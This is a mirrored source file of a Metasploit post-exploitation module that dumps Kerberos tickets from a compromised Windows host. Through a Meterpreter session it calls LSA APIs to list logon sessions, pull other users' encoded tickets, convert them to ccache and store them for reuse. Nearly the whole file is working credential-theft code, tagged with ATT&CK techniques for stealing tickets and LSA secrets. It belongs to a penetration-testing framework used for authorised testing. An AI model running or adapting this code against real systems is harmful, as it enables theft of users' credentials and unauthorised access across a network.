Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/kerberos_tickets.rb
33084 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/proto/kerberos/model/kerberos_flags'
7
require 'rex/proto/kerberos/model/ticket_flags'
8
require 'rex/proto/ms_dtyp'
9
10
class MetasploitModule < Msf::Post
11
include Msf::Post::Process
12
include Msf::Post::Windows::Lsa
13
include Msf::Exploit::Remote::Kerberos::Ticket
14
15
CURRENT_PROCESS = -1
16
CURRENT_THREAD = -2
17
18
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type
19
SECURITY_LOGON_TYPE = {
20
0 => 'UndefinedLogonType',
21
2 => 'Interactive',
22
3 => 'Network',
23
4 => 'Batch',
24
5 => 'Service',
25
6 => 'Proxy',
26
7 => 'Unlock',
27
8 => 'NetworkCleartext',
28
9 => 'NewCredentials',
29
10 => 'RemoteInteractive',
30
11 => 'CachedInteractive',
31
12 => 'CachedRemoteInteractive',
32
13 => 'CachedUnlock'
33
}.freeze
34
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type
35
KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8
36
KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14
37
38
def initialize(info = {})
39
super(
40
update_info(
41
info,
42
'Name' => 'Kerberos Ticket Management',
43
'Description' => %q{
44
Manage kerberos tickets on a compromised host.
45
},
46
'License' => MSF_LICENSE,
47
'Author' => [
48
'Will Schroeder', # original idea/research
49
'Spencer McIntyre'
50
],
51
'References' => [
52
[ 'URL', 'https://github.com/GhostPack/Rubeus' ],
53
[ 'URL', 'https://github.com/wavvs/nanorobeus' ],
54
['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS],
55
['ATT&CK', Mitre::Attack::Technique::T1003_004_LSA_SECRETS],
56
['ATT&CK', Mitre::Attack::Technique::T1005_DATA_FROM_LOCAL_SYSTEM]
57
],
58
'Platform' => ['win'],
59
'SessionTypes' => %w[meterpreter],
60
'Actions' => [
61
['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],
62
['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],
63
['SHOW_LUID', { 'Description' => 'Show the current LUID' }],
64
],
65
'DefaultAction' => 'DUMP_TICKETS',
66
'Notes' => {
67
'Stability' => [CRASH_SAFE],
68
'Reliability' => [],
69
'SideEffects' => []
70
},
71
'Compat' => {
72
'Meterpreter' => {
73
'Commands' => %w[
74
stdapi_net_resolve_host
75
stdapi_railgun_api
76
stdapi_railgun_memread
77
stdapi_railgun_memwrite
78
]
79
}
80
}
81
)
82
)
83
84
register_options([
85
OptString.new(
86
'LUID',
87
[false, 'An optional logon session LUID to target'],
88
conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],
89
regex: /^(0x[a-fA-F0-9]{1,16})?$/
90
),
91
OptString.new(
92
'SERVICE',
93
[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],
94
conditions: %w[ACTION == DUMP_TICKETS]
95
)
96
])
97
end
98
99
def run
100
case session.native_arch
101
when ARCH_X64
102
@ptr_size = 8
103
when ARCH_X86
104
@ptr_size = 4
105
else
106
fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")
107
end
108
@hostname_cache = {}
109
@indent_level = 0
110
111
send("action_#{action.name.downcase}")
112
end
113
114
def action_dump_tickets
115
handle = lsa_register_logon_process
116
luids = nil
117
if handle
118
if target_luid
119
luids = [ target_luid ]
120
else
121
luids = lsa_enumerate_logon_sessions
122
print_error('Failed to enumerate logon sessions.') if luids.nil?
123
end
124
trusted = true
125
else
126
handle = lsa_connect_untrusted
127
# if we can't register a logon process then we can only act on the current LUID so skip enumeration
128
fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?
129
trusted = false
130
end
131
luids ||= [ get_current_luid ]
132
133
print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")
134
auth_package = lsa_lookup_authentication_package(handle, 'kerberos')
135
if auth_package.nil?
136
lsa_deregister_logon_process(handle)
137
fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')
138
end
139
140
luids.each do |luid|
141
dump_for_luid(handle, auth_package, luid, null_luid: !trusted)
142
end
143
lsa_deregister_logon_process(handle)
144
end
145
146
def action_enum_luids
147
current_luid = get_current_luid
148
luids = lsa_enumerate_logon_sessions
149
fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?
150
151
luids.each do |luid|
152
logon_session_data_ptr = lsa_get_logon_session_data(luid)
153
unless logon_session_data_ptr
154
print_status("LogonSession LUID: #{luid}")
155
next
156
end
157
158
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
159
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
160
end
161
end
162
163
def action_show_luid
164
current_luid = get_current_luid
165
luid = target_luid || current_luid
166
logon_session_data_ptr = lsa_get_logon_session_data(luid)
167
return unless logon_session_data_ptr
168
169
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
170
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
171
end
172
173
def dump_for_luid(handle, auth_package, luid, null_luid: false)
174
logon_session_data_ptr = lsa_get_logon_session_data(luid)
175
return unless logon_session_data_ptr
176
177
print_logon_session_summary(logon_session_data_ptr)
178
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
179
180
logon_session_data_ptr.contents.logon_id.clear if null_luid
181
query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(
182
message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,
183
logon_id: logon_session_data_ptr.contents.logon_id
184
)
185
query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)
186
if query_tkt_cache_res_ptr
187
indented_print do
188
dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
189
end
190
session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)
191
end
192
end
193
194
def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
195
case session.native_arch
196
when ARCH_X64
197
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64
198
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64
199
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64
200
when ARCH_X86
201
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86
202
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86
203
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86
204
end
205
206
tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)
207
tkt_cache.tickets.each_with_index do |ticket, index|
208
server_name = read_lsa_unicode_string(ticket.server_name)
209
if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)
210
next
211
end
212
213
server_name_wz = session.railgun.util.str_to_uni_z(server_name)
214
print_status("Ticket[#{index}]")
215
indented_print do
216
retrieve_tkt_req = retrieve_tkt_request_klass.new(
217
message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,
218
logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8
219
)
220
ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)
221
next if ptr.nil?
222
223
retrieve_tkt_req.target_name.len = server_name_wz.length - 2
224
retrieve_tkt_req.target_name.maximum_len = server_name_wz.length
225
retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes
226
session.railgun.memwrite(ptr, retrieve_tkt_req)
227
retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)
228
session.railgun.util.free_data(ptr)
229
next if retrieve_tkt_res_ptr.nil?
230
231
retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)
232
if retrieve_tkt_res.ticket.encoded_ticket != 0
233
ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))
234
ticket_host = ticket.credentials.first.server.components.last.snapshot
235
ticket_host = resolve_host(ticket_host) if ticket_host
236
237
Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)
238
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)
239
presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)
240
print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))
241
end
242
session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)
243
end
244
end
245
end
246
247
def target_luid
248
return nil if datastore['LUID'].blank?
249
250
val = datastore['LUID'].to_i(16)
251
Rex::Proto::MsDtyp::MsDtypLuid.new(
252
high_part: (val & 0xffffffff) >> 32,
253
low_part: (val & 0xffffffff)
254
)
255
end
256
257
def kirbi_to_ccache(input)
258
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)
259
Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
260
end
261
262
def get_current_luid
263
luid = get_token_statistics&.authentication_id
264
fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid
265
luid
266
end
267
268
def get_token_statistics(token: nil)
269
if token.nil?
270
result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)
271
unless result['return']
272
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
273
unless error == ::WindowsError::Win32::ERROR_NO_TOKEN
274
print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")
275
return nil
276
end
277
278
result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)
279
unless result['return']
280
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
281
print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")
282
return nil
283
end
284
end
285
token = result['TokenHandle']
286
end
287
288
result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)
289
unless result['return']
290
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
291
print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")
292
return nil
293
end
294
TOKEN_STATISTICS.read(result['TokenInformation'])
295
end
296
297
def resolve_host(name)
298
name = name.dup.downcase # normalize the case since DNS is case insensitive
299
return @hostname_cache[name] if @hostname_cache.key?(name)
300
301
vprint_status("Resolving hostname: #{name}")
302
begin
303
address = session.net.resolve.resolve_host(name)[:ip]
304
rescue Rex::Post::Meterpreter::RequestError => e
305
elog("Unable to resolve #{name.inspect}", error: e)
306
end
307
@hostname_cache[name] = address
308
end
309
310
def print_logon_session_summary(logon_session_data_ptr, annotation: nil)
311
sid = '???'
312
if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0
313
# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up
314
# reading the data directly wouldn't be much faster because SIDs are of a variable length
315
result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)
316
if result
317
sid = session.railgun.util.read_string(result['StringSid'])
318
session.railgun.kernel32.LocalFree(result['StringSid'])
319
end
320
end
321
322
print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")
323
indented_print do
324
print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")
325
print_status("UserSID: #{sid}") if datastore['VERBOSE']
326
print_status("Session: #{logon_session_data_ptr.contents.session}")
327
print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")
328
print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")
329
print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")
330
print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']
331
print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']
332
print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']
333
end
334
end
335
336
def peer
337
nil # drop the peer prefix from messages
338
end
339
340
def indented_print(&block)
341
@indent_level += 1
342
block.call
343
ensure
344
@indent_level -= 1
345
end
346
347
def print_prefix
348
super + (' ' * @indent_level.to_i * 2)
349
end
350
end
351
352